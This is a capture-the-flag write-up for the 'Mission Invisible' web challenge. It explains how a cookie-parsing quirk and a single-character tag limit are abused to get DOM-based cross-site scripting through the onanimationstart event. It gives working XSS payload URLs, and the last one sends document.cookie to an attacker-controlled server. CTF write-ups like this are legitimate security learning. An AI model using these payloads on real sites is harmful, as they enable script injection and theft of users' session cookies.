Rating:

Mission Invisible

Points: 128

37 Solves

Challenge description:

You need to obtain the flag through two different invisible places.

http://52.52.236.217:16401/

Submit payload here: http://52.52.236.217:16403/

The page loads some javascript. After defining some function the script calls three functions.

var tag = getUrlParam("tag");
setCookie("tag", tag);
setElement(tag);

This is simplification on what they do

getUrlParam(name)

  • gets the value of some URL parameter

  • (http://52.52.236.217:16401/?tag=test) getUrlParam("tag") -> test

    Note: the parameter is unescaped

setCookie(name,value)

  • sets the value of a cookie
  • setCookie("tag","test"); document.cookie -> "tag=test"

setElement(tag)

  • creates an element of the type tag, sets its attributes to the value of the cookie attrs and appends it to the body

  • setElement("img") -> Uncaught DOMException: Failed to execute 'setAttribute' on 'Element': '' is not a valid attribute name.

    Note: before creating the element the tag is trimmed to length 1, it calls getCookie("attrs").split("&"); to get the attributes

getCookie(name)

  • searches document.cookie for name+"=", returns everything after that until the next ; if any and unescapes it.

  • (document.cookie = "test=abc") getCookie("test") -> "abc"

    Note: it does not check whether it is the name or a value

    • (document.cookie = "test=abc=def") getCookie("test") -> "abc=def" but getCookie("abc") -> "def"

Knowing this we can make our tag cookie look like it contains a attrs cookie. The tag has to be a single character like a,p,.... This results in a payload like ?tag=pattrs=test=a to create <p test="a"></p>. By abusing the fact that our cookie gets unescaped before it is returned from getCookie and the parameter value is also unescaped we can double encode a & to create multiple attributes. ?tag=pattrs=test=a%2526test2=b creates <p test="a" test2="b"></p>.

Executing javascript

To execute javascript we can abuse DOM Events like click, error, .... Normally someone would just create an img with an onerror or onload attribute, but we can't do this because we can only create one-char tags. But we can use the animationstart event which is triggered as soon as an animation for the tag starts. By using the style attribute we can set an animation like this: ?tag=pattrs=onanimationstart=alert()%2526style=animation-name:"youranimationhere" The page loads assets/css/bootstrap.min.css at the beginning as a stylesheet. By searching for @keyframes in that css file the following can be found:

[...]@keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}[...]

Therefore we can use progress-bar-stripes as the animation. And by using ?tag=pattrs=onanimationstart=alert()%2526style=animation-name:progress-bar-stripes as the payload we get our beloved alert box.

To get the flag we can create a request to our web server containing the cookie using javascript. e.g. http://52.52.236.217:16401/?tag=pattrs=onanimationstart=document.body.appendChild(document.createElement(%27script%27)).setAttribute(%27src%27,`https://yourserverhere/${document.cookie}`)%2526style=animation-name:progress-bar-stripes